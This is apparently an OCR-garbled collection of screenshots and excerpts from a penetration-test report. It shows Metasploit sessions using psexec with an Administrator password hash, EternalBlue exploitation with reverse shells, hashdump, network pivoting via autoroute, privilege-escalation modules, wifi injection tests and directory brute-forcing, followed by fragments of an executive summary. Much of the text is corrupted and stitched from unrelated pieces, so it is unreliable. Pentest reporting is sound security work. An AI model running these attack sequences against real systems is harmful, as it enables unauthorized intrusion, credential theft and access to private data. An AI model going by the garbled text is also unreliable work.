Harduare MAC: 00-50-56-C0-00-08

Ip Address : 10.1.13.2

Netmask 255.255.255.0

MS TCP Loopback interface
Harduare MAC: 00:00:00:00:00:00
Ip Address : 127.0.0.1
Netmask 255.0.0.0

meterpreter >
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msf exploit(psexec) > exploit

Comecting to the server....
Starecs bind handler

Authenticating o 10.1.13.2:445|MRKGROUP 25 user “Aduinistrator”....
Uploading payioad.

Created \fueetent.oxe.
Binding to acn_opi10.1.13.2(\eveet1] .
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15
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151
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Il
51
ol
51
%l
51
[2] starting the service...
[2] Removing the service. .

[+] Clocing service handie...

[+] Deleting \fueefeut-exe..

(2] Sending stage (749956 byies)

(4] Reterpreter e rion 3 opened (192.168.1.2-192.168.1.3:0 -> 10.1.13.2:4444) ot Sat Gct 06 11:44:42 -0700 2010

seterpreter >
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msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > show options

Module options:

Name Current Setting Required Description
RHosT yes The target address

RPORT 445 yes Set the S8 service port

SHeDomain  WORKGROUP o The windows domain to use for authentication
SHgpazs o The pazaword for the specified usernane
SHBUser no The usernane to authenticate as

msf exploit(psexec) > set RHOST 10.1.13.2

RHOST => 10.1.13.2

usf exploit(psexcc) > set [SHBUser Aduinistrator |

SHBUser => Administrator

msF explokt(psexec) > set SMBPass 7fchceaBagai
SHMBPaiss => 7 CbCea B

msf exploit(psexec) > set PAYLOAD windows/meterpreter/bind_tcp.

PAYLOAD => windows/meterpreter/bind_tcp.

psf exploit(psexec) > exploit
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msf exploit(ms17_010_cternalblue) >
msf auxiliary(tcp) > show options

Hodule options:
[ Current Setting Required Description o
CONCURRENCY 10 yes The number of concurrent ports to check per host
FILTER o The filter string for capturing traffic
INTERFACE no The name of the interface
PCAPFILE no The name of the PCAP capture file to process
PORTS. 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target address range or CIDR identifier
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIHEQUT 1000 yes The socket connect timeout in milliseconds

VERBOSE  false o Display verbose output

msf auxiliary(tcp) > set RHOSTS 10.1.13.0/24
RHOST => 10.1.13.0/24

msf auxiliary(tcp) > set PORTS 139,445
PORTS => 139,445

msf auxiliary(tcp) > run

10.1.13.9:139 - TCP OPEN
10.1.13.9:445 - TCP OPEN

10.1.13.2:445 - TCP OPEN

10.1.13.2:139 - TCP OPEN
Scanned 256 of 256 hosts (100% complete)
Auxiliary module execution completed
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mterpreter >[n Fashdump |
T Ghtaining the

[-] Coleutating the Hioot key using SYSKEY.cdeedsfomsestadeiibomtreresrass: .
Elo

e
bsE e

Administrator:500:7fc

meterpreter >
Background session 12 [y/N]
Wt exmiait (eei] 610 eternpibluc) >
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EEEEH RS SOU o

“] Usage: run autoroute [-r] - subnet -n netmask

[1] Examples:
[*]  run autoroute -s 10.1.1.0 -n 255.255.255.0 # Add 3 route to 10.10.10.1/255.255.255.
[*]  run autoroute -s 10.10.10.1 # Netmask defaults to 255.255.255.0

[*] run autoroute -s 10.10.10.1/24 # CIDR notation is also okay.

*]  run autoroute -p # Print active routing table

[*]  run autoroute -d -s 10.10.10.1 # Deletes the 10.10.10.1/255.255.255.0 route
[*] Use the "route” and "ipconfig” Meterpreter commands to learn about available routes

meterpreter > run autoroute -5 16.1.13.9/24.
[*] Adding a route to 10.1.13.0/255.255.255.0. ..
[+] Added route to 10.1.13.0/255.255.255.0 via 192.168.1.201
[*] Use the -p option to list all active routes

meterpreter > run autoroute -p.
Active Routing Table

Netmask Gateway

255.255.255.0  Session 1
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meterpreter > ipconfig

Ethernet adapter Wware Network Adapter Vinetl
Harduare MAC: 00-50-56-C0-00-01

Ip Address : 192.165.1.2
Netmask 255.255.255.0.

MS TCP Loopback interface

Harduare MAC: 00:00:00:00:00:00
127.0.0.1

Netmask  : 255.0.0.0

meterpreter >
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msfS exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set session 1

session => 1
msfS exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
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55 exploit (unix/misc/distcc_exec) 5| use post/mlti/recon/local_exploit_suggest

565 post (multi/recon/local_exploit_suggester) > cptions

Hodule options (post /mult/recon/local_exploit_suggester) .
Nome Curvent Setting Reauired Description
session . The session to run this sodule on |
SHODESCRIPTION falze Ves  Displays a detailed description for the aveilable exploits

5 post (multi/recon/local_exploit_suggester) >|set session 1
Session > 1

55 post (multi/recon/local_exploit_suggester) > run

[#] 192.168.1.101 - Collecting local exploits for x86/linux...
[¥] 192/168.1.201 - 26 exploit checks are being tried..

[+] 19211681 101 - [explott/Limux/Tocal /glibe 1d_avaidso_Tosd priv_esc: The targst sppears to be volnars

[4] 1921168.1.101 - oxplost/Lanix/ Tocal /gIabeorigan_sxpansson_priv-ssc: The target ppears o be vulne
[+] 192.168.1.101 - exploit/linux/local /netilter_priv_esc_ipua: The target sppears to be vulnerable.
Y Pt AT S ATl
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msfS5 exploit(unix/misc/distcc_exec) > sessions -1

Active sessions

Id Name Type Information

@ meterpreter x64/linux uid=1, gid=1, euid=1, egid=1
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meterpreter > upload priv_escalation_exploit.exe c:\\windows\\system32
[*] uploading : priv_escalation_exploit.exe -> c:\windows\systen32
(] ploaded  :

priv_escalation_exploit.exe -> c:\windows\systen32\priv_escalation exploit.exe
Enbmviratar >
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meterpreter > pwd
€ \Windows\systen32
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
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s exploit(ms17_010_eternalblue) > set LHOST 192.168.1.3
LHOST =5 192.168.1..
Mow, we are a1l ready. Start the exploit!

=t exploit(ns17_010_cternalblue) > exploit

[*] Started reverse TCP handler on 152.168.1.3:4484
[*] 192.168.1.2:445 - Connecting to target for exploitation.

[+] 192.165.1.2:445 - Connection established for exploitation.
[+] 192.168.1.2:445 - Target 05 selected valid for 05 indicated by B reply

[+] 292.168.1.2: CORE raw buffer dump (27 bytes)

[+] 192.168.1.2: 000000000 57 69 Ge 64 6F 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[+] 1921168.1.2:445 - 0x00000010 73 69 6F 6e 61 6c 20 36 2e 31 00 =ional 6.1

[+] 1921165.1.2:445 - Target arch selected valid for 05 indicated by DCE/RPC reply

[*] 192.168.1.2:445 - Trying exploit with 12 Groom Allocations.

[+] 1921168.1.2:445 - Sending all but last fragment of exploit packet

[*] 1921165.1.2:445 - Starting non-paged pool grooming

[+] 192.166.1.2:445 - Sending SHBV2 buffers.

[+] 192.168.1.2:445 - Closing SHBVA connection creating free hole adjacent to SHBV2 buffer.

[*] 192.168.1.2:445 - Sending final SHBV2 buffers.

[+] 192.168.1.2:445 - Sending Last fragaent of explot packet!

[*] 292.168.1.2:445 - Receiving response from exploit packet

[+] 192.168.1.2:445 - ETERNALBLUE overwrite cospleted successfully (8xC0000090)!

[*] 1921168.1.2:445 - Sending egg o corrupted comnection.
[+] 1921168.1.2:445 - Triggering free of corrupted buffer.

[*] Sending stage (1183425 bytes) o 192.168.1.2

[] Meterpreter seszion 1 opened (192.168.1.3:4444 -> 192.168.1.2:49158) at 2021-96-05 03:55:11 -0400

1

metecpreter >
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msf exploit(ms17_010_eternalblue) > show options
Hodule options (explogt/windows/ sab/ms17_010_cternalblue) :

Nome Current Setting Required Description

Groomllocations 12
Grooeelta s
axExplotattenpts 3

Initisl nusber of tises to groom the kernel pool.
The amount o increaze the groom count by per try.
The nusber of tines to retry the exploit.

Processiane spoolsv.exe  yes Process to inject payload into.
RosT 192.168.1.2  yes The target sddress

ReoRT a5 yes )

Verifyarch true ves Check §f remate orchitecture matches exploit Target.
VerifyTarget true yes Check if remote 05 matches exploit Target.

Paylosd options (windows/x64/meterpreter/reverse_tcp

Neme  Current Setting Required Description

BTN thread yes Exit technique (Accepted:
wosT yes The Listen address
ORT  asas. yes The Listen port

, seh, threa

process, none)

Exploit target:
10 Name

© Windows 7 and Server 2008 R2 (x64) AlL Service Packs
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[{kali® kati)-[~]
$ sudo aireplay-ng —test wlang
09:45:13 Trying broadcast probe requests...

09 No Answer ...
09: Found 1 AP

09: Trying directed probe requests .

09 o 160 ~ channel: 6 - 'Debasish wifi'

09: Ping (min/ave/nax): 3.727ms/18.279ms/179.903ns Power:

09: 30/30: 100%

09:45:15 Injection is workin

-16.00
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[(root®@ kali)-[~)
4 iwconfig
lo no wireless extensions.

etho no wireless extensions.
wlang TEEE 802.11

Retry short
Power Management

Frequency:2.412 GHz Tx-Power=20 dém
thr=2347 B Fragment thr:off
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[ (k1@ kali)- [~/Desktop]
$ iulist wlan scanning

wlano  Scan completed
Cell 01 - Address: 04:95:E6:3A:FC:i60
Channel:6
Frequency:2.437 GHz (Channel 6)

Quality=70/70 signal level--30 d8m

2 Mb/s; 5.5 Mb/s; 11 Mb/s; 6 Mb/s
9 Mb/s; 12 Mb/s; 18 Mb/s

Bit Rates:24 b/s; 36 Mb/s; 48 Mb/s; 54 Mb/s

Mode :Master

Extra:tsf-00000016dac3069e

Extra: Last beacon: 29260ms ago

IE: Unknown: 000D44656261736973682077696669

IE: Unknown: 010882848B960C121824

IE: Unknown: 030106

IE: Unknown: 20100

IE: Unknown: 32043048606C

IE: Unknown: 2D1AEE191FFFFF00000000000000000000000000:

IE: Unknown: 3D16060700000000000000000000000000000000;

TE: WPA Version 1
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[ (kali® kald)-[~/Desktop)
$ ifconfig wlang
wlan0: flags=4099<UP,BROADCAST MULTICAST> mtu 1500

ether 2a:16:03:17:23:55 txqueuelen 1000 (Ethernet)

RX packets 0 bytes 0 (0.0 B)

RX errors @ dropped 0 overruns 0 frame 0

TX packets 0 bytes 0 (0.0 B)

TX errors 0 dropped 0 overruns o carrier 8 collisions 0

= tiaus Iali)-[~/Desktop]
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,js(kalis lali)-[~/Desktop]

iwconfig
lo no wireless extensions.
etho no wireless extensions.
wlano  TEEE 802.11 ESSID:off/any

Mode:Managed Access Point: Not-Associated ~Tx-Power=20 dgm
Retry short limit:7 RTS thr=2347 B Fragment thr:off
Power Management:off

kali® kali)-[~/Desktop]
L}
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[(kali®kati)-~]
5

nslookup

> bing.com

Serve 192.168.15.2
Address: 192.168.15.2#53

Non-authoritative answer:

Name:  bing.com
Address: 13.107.21.200
Name:  bing.com

Address: 2620:lec:c1l::200
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Output File: c:\python37\lib\site-packages\dirsearch\reports\192.168
Error Log: c:\python37\lib\site-packages\dirsearch\logs\errors-21-11
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[22:12:36] Starting:
[22:12:37] 403 -  1KB - /.ht_wsr.txt

[22:12:37] 403 -  1KB - /.htaccess.bakl

[22:12:37] 403 -  1KB - /.htaccess.orig
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[22:12:37] 463 -  1KB - /.htm
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[22:12:30] 206 -  5KB - /README.txt

[22:12:40] 302 - @B - /about.php -> login.php
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try {
Log.i("info", "createlockFile: start");

-getBytes());

Log.1("info", "createlockFile: done”
return true;
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Impact
The use of this exploit was partially made possible due to the inclusion of developer tools on the
vulnerable system. f these tools were not present on the system, it woul d have still been possible
tosuccessfully exploit, although the difficulty in doing so would have been increased. Inits current
configuration, the webserver represents an interal attack platform for a malicious party.

With the ability to gain full administrative access, a malicious party could utilize this vulnerable system
foramultitude of purposes, ranging from attacks against MegaCorp One itsel, to attacks againstits
customers. It's highly likely that the attackers would leverage this system for both purposes.
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Executive Summary

X¥Z Organization was contracted by ABC-Finance Limited to conduct a penetration test in order to
determine its exposure to a targeted attack. All activties were conducted in a manner that simulated
‘2 malicious actor engaged in a targeted attack against ABC-Finance Limited with the goals of:

> Identifying if 3 remote attacker could penetrate ABC-Finance Limited’s defences
> Determining the impact of a security breach on:
o Confidentiality of the company's private data.
o Interal infrastructure and availability of ABC-Finance Limited's information systems.

fforts were placed on the identification and exploitation of security weaknesses that could allow a
remote attacker to gain unauthorized access to organizational data. The attacks were conducted with
the level of access that a general Internet user would have. The assessment was conducted in
‘accordance with the recommendations outlined in NIST SP 800-1151 with alltests and actions being
conducted under controlled conditions.

Overall, CLIENT presents 3 high-risk attack surface with major critical vulnerabilities that allowed
‘complete root access to multiple systems exist within CLIENTs criticalinfrastructure.

The EPO server and the Remote Desktop Server were both susceptible to EternalBlue; a shell was
‘opened on both remotely by exploiting the SMBv1 vulnerability using a Publicly available exploit
module which remotely attacked the spoolsv.exe service via port 445 (SMB). The Remote Desktop
server contained numerous user files of CLIENT's staff members, Traversing the user profile data
revealed many files that contained private patient healthcare information including diagnostics,
health insurance information, and transaction recelpts. The ability to control the system as NT
‘Authority makes data exfitration trivial as any user specific permissions are not applied to NT
Authority user.

Two other systems had the SChannel (CVE-2014-6321) vulnerability which makes them susceptible to
05 via code over Schannel. A script can be written to exploit this vulnerability and cause the receiving
system to open multiple threads and lockout the processor.
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